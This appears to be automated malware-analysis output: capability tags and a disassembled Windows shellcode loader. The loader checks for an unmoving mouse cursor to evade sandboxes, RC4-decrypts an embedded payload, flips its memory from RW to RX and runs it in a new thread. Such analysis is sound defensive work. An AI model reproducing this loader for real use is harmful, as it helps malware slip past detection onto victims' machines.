Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Create thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ebx, 0xa
nop dword [rax + rax]
lea rcx, [rsp + 0x38]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x30], eax
jne 0x1400010e5
mov eax, dword [rsp + 0x3c]
cmp dword [rsp + 0x34], eax
jne 0x1400010e5
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
dec ebx
test ebx, ebx
jg 0x1400010a0
je 0x1400010d9
cmp dword [rsp + 0x30], 1
jne 0x1400010e5
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor edx, edx
mov qword [rsp + 0x160], rdi
xor eax, eax
lea rcx, [rsp + 0x40]
mov r9d, 0x100
nop dword [rax]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, r9d
jl 0x140001100
xor r8d, r8d
lea r11, [0x14107bfb8]
nop word [rax + rax]
movzx r10d, byte [rsp + r8 + 0x40]
mov rax, r8
and eax, 0xf
movzx eax, byte [rax + r11]
add edx, eax
add edx, r10d
and edx, 0x800000ff
jge 0x140001148
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
movzx eax, byte [rcx]
mov byte [rsp + r8 + 0x40], al
inc r8
mov byte [rcx], r10b
sub r9, 1
jne 0x140001120
xor r8d, r8d
lea rdi, [0x140005080]
xor eax, eax
xor r11d, r11d
inc eax
and eax, 0x800000ff
jge 0x140001188
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
lea r9, [rsp + 0x40]
add r9, rcx
movzx r10d, byte [r9]
add r8d, r10d
and r8d, 0x800000ff
jge 0x1400011b0
dec r8d
or r8d, 0xffffff00
inc r8d
movsxd rcx, r8d
lea rdx, [rsp + 0x40]
add rdx, rcx
movzx ecx, byte [rdx]
mov byte [r9], cl
mov byte [rdx], r10b
movzx ecx, byte [r9]
add rcx, r10
movzx ecx, cl
movzx edx, byte [rsp + rcx + 0x40]
xor byte [r11 + rdi], dl
inc r11
cmp r11, 0x1076f38
jb 0x140001176
lea rcx, str._n___Decrypting_the_shellcode__
call fcn.140001010
xor ecx, ecx
mov edx, 0x1076f38
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x1400012c9
mov rdx, rax
lea rcx, str._n___Shellcode_memory_is_allocated_at__p
call fcn.140001010
mov r8d, 0x1076f38
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x38]
mov edx, 0x1076f38
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400012c9
mov rdx, rbx
lea rcx, str._n____p_memory_region_protection_is_changed_form_RW_to_RX
call fcn.140001010
lea rax, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x1400012c9
mov edx, dword [rsp + 0x30]
lea rcx, str._n___Thread_with_id__ld_is_created_to_execute_the_shellcode_n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rdi, qword [rsp + 0x160]
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400012f0
add rsp, 0x150
pop rbx
ret
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3